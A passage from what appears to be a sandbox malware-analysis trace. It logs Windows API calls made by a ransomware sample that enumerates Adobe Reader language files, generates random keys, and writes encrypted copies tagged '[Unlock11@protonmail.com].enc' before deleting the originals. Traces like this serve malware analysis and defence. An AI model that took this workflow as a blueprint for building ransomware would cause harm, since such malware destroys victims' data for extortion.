cFileName="DisplayLanguageNames.en_US_POSIX.txt", cAlternateFileName="DIA6FD~1.TXT")) returned 1 [0198.007] GetLastError () returned 0x12 [0198.007] GetCurrentThreadId () returned 0x9b0 [0198.007] GetLastError () returned 0x12 [0198.007] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f5f358, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="DisplayLanguageNames.en_US_POSIX.txt", cAlternateFileName="DIA6FD~1.TXT")) returned 0 [0198.007] GetLastError () returned 0x12 [0198.007] GetCurrentThreadId () returned 0x9b0 [0198.007] GetLastError () returned 0x12 [0198.007] GetLastError () returned 0x12 [0198.007] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0198.008] GetLastError () returned 0x12 [0198.008] GetLastError () returned 0x12 [0198.008] GetLastError () returned 0x12 [0198.009] GetLastError () returned 0x12 [0198.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0198.009] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt")) returned 0x20 [0198.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea0b8 | out: hHeap=0x2ad0000) returned 1 [0198.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0198.010] GetCurrentThreadId () returned 0x9b0 [0198.010] GetLastError () returned 0x12 [0198.010] GetLastError () returned 0x12 [0198.010] GetLastError () returned 0x12 [0198.010] GetLastError () returned 0x12 [0198.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0198.011] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt")) returned 0x20 [0198.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea388 | out: hHeap=0x2ad0000) returned 1 [0198.011] GetLastError () returned 0x12 [0198.011] GetLastError () returned 0x12 [0198.012] GetLastError () returned 0x12 [0198.012] GetLastError () returned 0x12 [0198.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0198.012] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt")) returned 0x20 [0198.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc410 | out: hHeap=0x2ad0000) returned 1 [0198.012] GetCurrentThreadId () returned 0x9b0 [0198.012] GetLastError () returned 0x12 [0198.013] GetLastError () returned 0x12 [0198.013] GetLastError () returned 0x12 [0198.013] GetLastError () returned 0x12 [0198.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0198.013] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt")) returned 0x20 [0198.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea478 | out: hHeap=0x2ad0000) returned 1 [0198.013] GetLastError () returned 0x12 [0198.014] GetLastError () returned 0x12 [0198.014] GetLastError () returned 0x12 [0198.014] GetLastError () returned 0x12 [0198.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0198.014] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt")) returned 0x20 [0198.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bbd90 | out: hHeap=0x2ad0000) returned 1 [0198.014] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881288, Size=0x20) returned 0x33eae68 [0198.014] GetCurrentThreadId () returned 0x9b0 [0198.015] GetLastError () returned 0x12 [0198.015] GetLastError () returned 0x12 [0198.015] GetLastError () returned 0x12 [0198.015] GetLastError () returned 0x12 [0198.015] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt", lpFilePart=0x9bada4*="DisplayLanguageNames.en_CA.txt") returned 0x6d [0198.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0198.015] GetCurrentThreadId () returned 0x9b0 [0198.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0198.016] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0198.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0198.016] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead78 [0198.016] GetLastError () returned 0x0 [0198.016] GetLastError () returned 0x0 [0198.016] GetLastError () returned 0x0 [0198.016] GetLastError () returned 0x0 [0198.016] GetCurrentThreadId () returned 0x9b0 [0198.017] GetLastError () returned 0x0 [0198.017] GetCurrentThreadId () returned 0x9b0 [0198.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead78 | out: hHeap=0x2ad0000) returned 1 [0198.017] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaff8 [0198.017] GetLastError () returned 0x0 [0198.017] GetLastError () returned 0x0 [0198.017] GetLastError () returned 0x0 [0198.017] GetLastError () returned 0x0 [0198.017] GetCurrentThreadId () returned 0x9b0 [0198.018] GetLastError () returned 0x0 [0198.018] GetLastError () returned 0x0 [0198.018] GetLastError () returned 0x0 [0198.018] GetLastError () returned 0x0 [0198.018] GetLastError () returned 0x0 [0198.018] GetCurrentThreadId () returned 0x9b0 [0198.018] GetLastError () returned 0x0 [0198.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaff8 | out: hHeap=0x2ad0000) returned 1 [0198.019] GetLastError () returned 0x0 [0198.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea388 | out: hHeap=0x2ad0000) returned 1 [0198.019] GetLastError () returned 0x0 [0198.019] GetLastError () returned 0x0 [0198.019] GetLastError () returned 0x0 [0198.019] GetCurrentThreadId () returned 0x9b0 [0198.019] GetLastError () returned 0x0 [0198.019] GetCurrentThreadId () returned 0x9b0 [0198.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a428 [0198.020] GetLastError () returned 0x0 [0198.020] GetLastError () returned 0x0 [0198.020] GetLastError () returned 0x0 [0198.020] GetLastError () returned 0x0 [0198.020] GetCurrentThreadId () returned 0x9b0 [0198.020] GetLastError () returned 0x0 [0198.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a428 | out: hHeap=0x2ad0000) returned 1 [0198.021] GetLastError () returned 0x0 [0198.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6d0 | out: hHeap=0x2ad0000) returned 1 [0198.021] GetLastError () returned 0x0 [0198.021] GetLastError () returned 0x0 [0198.021] GetLastError () returned 0x0 [0198.021] GetCurrentThreadId () returned 0x9b0 [0198.021] GetLastError () returned 0x0 [0198.021] GetLastError () returned 0x0 [0198.022] GetLastError () returned 0x0 [0198.022] GetLastError () returned 0x0 [0198.022] GetLastError () returned 0x0 [0198.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0198.022] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164)) returned 1 [0198.022] GetLastError () returned 0x0 [0198.023] GetCurrentThreadId () returned 0x9b0 [0198.023] GetLastError () returned 0x0 [0198.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea400 | out: hHeap=0x2ad0000) returned 1 [0198.023] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f0c | out: pbBuffer=0x3668f0c) returned 1 [0198.023] GetCurrentThreadId () returned 0x9b0 [0198.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0198.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0198.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0198.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf30 [0198.023] GetLastError () returned 0x0 [0198.024] GetLastError () returned 0x0 [0198.024] GetLastError () returned 0x0 [0198.024] GetLastError () returned 0x0 [0198.024] GetCurrentThreadId () returned 0x9b0 [0198.024] GetLastError () returned 0x0 [0198.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaf30 | out: hHeap=0x2ad0000) returned 1 [0198.024] GetCurrentThreadId () returned 0x9b0 [0198.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaff8 [0198.025] GetLastError () returned 0x0 [0198.025] GetLastError () returned 0x0 [0198.025] GetLastError () returned 0x0 [0198.025] GetLastError () returned 0x0 [0198.025] GetCurrentThreadId () returned 0x9b0 [0198.025] GetLastError () returned 0x0 [0198.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaff8 | out: hHeap=0x2ad0000) returned 1 [0198.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265548 [0198.026] GetCurrentThreadId () returned 0x9b0 [0198.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4bb8 | out: hHeap=0x2ad0000) returned 1 [0198.026] GetLastError () returned 0x0 [0198.026] GetLastError () returned 0x0 [0198.026] GetLastError () returned 0x0 [0198.026] GetLastError () returned 0x0 [0198.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0198.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265528 [0198.027] GetLastError () returned 0x0 [0198.027] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.027] GetFileType (hFile=0x334) returned 0x1 [0198.027] GetLastError () returned 0x0 [0198.027] GetCurrentThreadId () returned 0x9b0 [0198.027] GetLastError () returned 0x0 [0198.027] GetFileType (hFile=0x334) returned 0x1 [0198.028] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.028] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.028] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.028] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.028] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.028] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.028] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.028] GetLastError () returned 0x0 [0198.028] GetCurrentThreadId () returned 0x9b0 [0198.028] GetLastError () returned 0x0 [0198.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265528 | out: hHeap=0x2ad0000) returned 1 [0198.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea1a8 | out: hHeap=0x2ad0000) returned 1 [0198.029] GetLastError () returned 0x0 [0198.029] GetLastError () returned 0x0 [0198.029] GetLastError () returned 0x0 [0198.029] GetLastError () returned 0x0 [0198.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0198.029] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265488 [0198.030] GetLastError () returned 0x0 [0198.030] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0198.030] GetFileType (hFile=0x39c) returned 0x1 [0198.030] GetLastError () returned 0x0 [0198.031] GetCurrentThreadId () returned 0x9b0 [0198.031] GetLastError () returned 0x0 [0198.031] GetFileType (hFile=0x39c) returned 0x1 [0198.031] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.031] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.031] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.031] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.031] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.031] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.031] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.032] GetLastError () returned 0x0 [0198.032] GetCurrentThreadId () returned 0x9b0 [0198.032] GetLastError () returned 0x0 [0198.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265488 | out: hHeap=0x2ad0000) returned 1 [0198.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac07e0 | out: hHeap=0x2ad0000) returned 1 [0198.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0198.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0198.032] GetLastError () returned 0x0 [0198.032] GetLastError () returned 0x0 [0198.033] GetCurrentThreadId () returned 0x9b0 [0198.033] GetLastError () returned 0x0 [0198.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0198.033] GetLastError () returned 0x0 [0198.033] GetLastError () returned 0x0 [0198.033] GetCurrentThreadId () returned 0x9b0 [0198.033] GetLastError () returned 0x0 [0198.033] GetLastError () returned 0x0 [0198.053] GetLastError () returned 0x0 [0198.065] GetCurrentThreadId () returned 0x9b0 [0198.065] GetLastError () returned 0x0 [0198.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265548 | out: hHeap=0x2ad0000) returned 1 [0198.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x8188) returned 0x3720750 [0198.071] GetCurrentThreadId () returned 0x9b0 [0198.071] GetLastError () returned 0x0 [0198.071] GetLastError () returned 0x0 [0198.072] GetLastError () returned 0x0 [0198.072] GetLastError () returned 0x0 [0198.072] GetCurrentThreadId () returned 0x9b0 [0198.072] GetLastError () returned 0x0 [0198.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3720750 | out: hHeap=0x2ad0000) returned 1 [0198.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0198.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0198.073] GetLastError () returned 0x0 [0198.074] GetLastError () returned 0x0 [0198.074] GetCurrentThreadId () returned 0x9b0 [0198.074] GetLastError () returned 0x0 [0198.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x39096f8 | out: hHeap=0x2ad0000) returned 1 [0198.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x39096f8 [0198.075] GetLastError () returned 0x0 [0198.075] GetLastError () returned 0x0 [0198.075] GetCurrentThreadId () returned 0x9b0 [0198.075] GetLastError () returned 0x0 [0198.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x39096f8 | out: hHeap=0x2ad0000) returned 1 [0198.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0198.075] GetLastError () returned 0x0 [0198.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0198.076] CloseHandle (hObject=0x39c) returned 1 [0198.076] GetLastError () returned 0x0 [0198.076] GetCurrentThreadId () returned 0x9b0 [0198.076] GetLastError () returned 0x0 [0198.076] GetLastError () returned 0x0 [0198.076] CloseHandle (hObject=0x334) returned 1 [0198.077] GetLastError () returned 0x0 [0198.077] GetCurrentThreadId () returned 0x9b0 [0198.077] GetLastError () returned 0x0 [0198.077] GetLastError () returned 0x0 [0198.077] GetLastError () returned 0x0 [0198.077] GetLastError () returned 0x0 [0198.077] GetLastError () returned 0x0 [0198.078] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt")) returned 1 [0198.079] GetLastError () returned 0x0 [0198.079] GetCurrentThreadId () returned 0x9b0 [0198.079] GetLastError () returned 0x0 [0198.079] GetLastError () returned 0x0 [0198.079] GetLastError () returned 0x0 [0198.079] GetLastError () returned 0x0 [0198.080] GetLastError () returned 0x0 [0198.080] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt", lpFilePart=0x9bada4*="DisplayLanguageNames.en_GB.txt") returned 0x6d [0198.080] GetCurrentThreadId () returned 0x9b0 [0198.080] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0198.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0198.080] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0198.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0198.080] GetCurrentThreadId () returned 0x9b0 [0198.081] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf30 [0198.081] GetLastError () returned 0x0 [0198.081] GetLastError () returned 0x0 [0198.081] GetLastError () returned 0x0 [0198.081] GetLastError () returned 0x0 [0198.081] GetCurrentThreadId () returned 0x9b0 [0198.081] GetLastError () returned 0x0 [0198.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaf30 | out: hHeap=0x2ad0000) returned 1 [0198.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaff8 [0198.082] GetLastError () returned 0x0 [0198.082] GetLastError () returned 0x0 [0198.082] GetLastError () returned 0x0 [0198.082] GetLastError () returned 0x0 [0198.082] GetCurrentThreadId () returned 0x9b0 [0198.082] GetLastError () returned 0x0 [0198.082] GetCurrentThreadId () returned 0x9b0 [0198.083] GetLastError () returned 0x0 [0198.083] GetLastError () returned 0x0 [0198.083] GetLastError () returned 0x0 [0198.083] GetLastError () returned 0x0 [0198.083] GetCurrentThreadId () returned 0x9b0 [0198.083] GetLastError () returned 0x0 [0198.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaff8 | out: hHeap=0x2ad0000) returned 1 [0198.083] GetLastError () returned 0x0 [0198.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea220 | out: hHeap=0x2ad0000) returned 1 [0198.084] GetLastError () returned 0x0 [0198.084] GetLastError () returned 0x0 [0198.084] GetLastError () returned 0x0 [0198.084] GetCurrentThreadId () returned 0x9b0 [0198.084] GetLastError () returned 0x0 [0198.084] GetLastError () returned 0x0 [0198.085] GetLastError () returned 0x0 [0198.085] GetLastError () returned 0x0 [0198.085] GetLastError () returned 0x0 [0198.085] GetCurrentThreadId () returned 0x9b0 [0198.085] GetLastError () returned 0x0 [0198.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0198.085] GetLastError () returned 0x0 [0198.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea748 | out: hHeap=0x2ad0000) returned 1 [0198.086] GetLastError () returned 0x0 [0198.086] GetLastError () returned 0x0 [0198.086] GetLastError () returned 0x0 [0198.086] GetCurrentThreadId () returned 0x9b0 [0198.086] GetLastError () returned 0x0 [0198.086] GetCurrentThreadId () returned 0x9b0 [0198.086] GetLastError () returned 0x0 [0198.086] GetLastError () returned 0x0 [0198.086] GetLastError () returned 0x0 [0198.087] GetLastError () returned 0x0 [0198.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0198.087] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8164)) returned 1 [0198.087] GetCurrentThreadId () returned 0x9b0 [0198.087] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36688cc | out: pbBuffer=0x36688cc) returned 1 [0198.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0198.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0198.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0198.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf30 [0198.088] GetCurrentThreadId () returned 0x9b0 [0198.088] GetCurrentThreadId () returned 0x9b0 [0198.088] GetCurrentThreadId () returned 0x9b0 [0198.088] GetCurrentThreadId () returned 0x9b0 [0198.089] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0198.089] GetFileType (hFile=0x334) returned 0x1 [0198.089] GetCurrentThreadId () returned 0x9b0 [0198.089] GetFileType (hFile=0x334) returned 0x1 [0198.089] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0198.089] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.090] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.090] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.090] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.090] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0198.090] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0198.090] GetCurrentThreadId () returned 0x9b0 [0198.090] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\adobe\\reader\\dc\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, 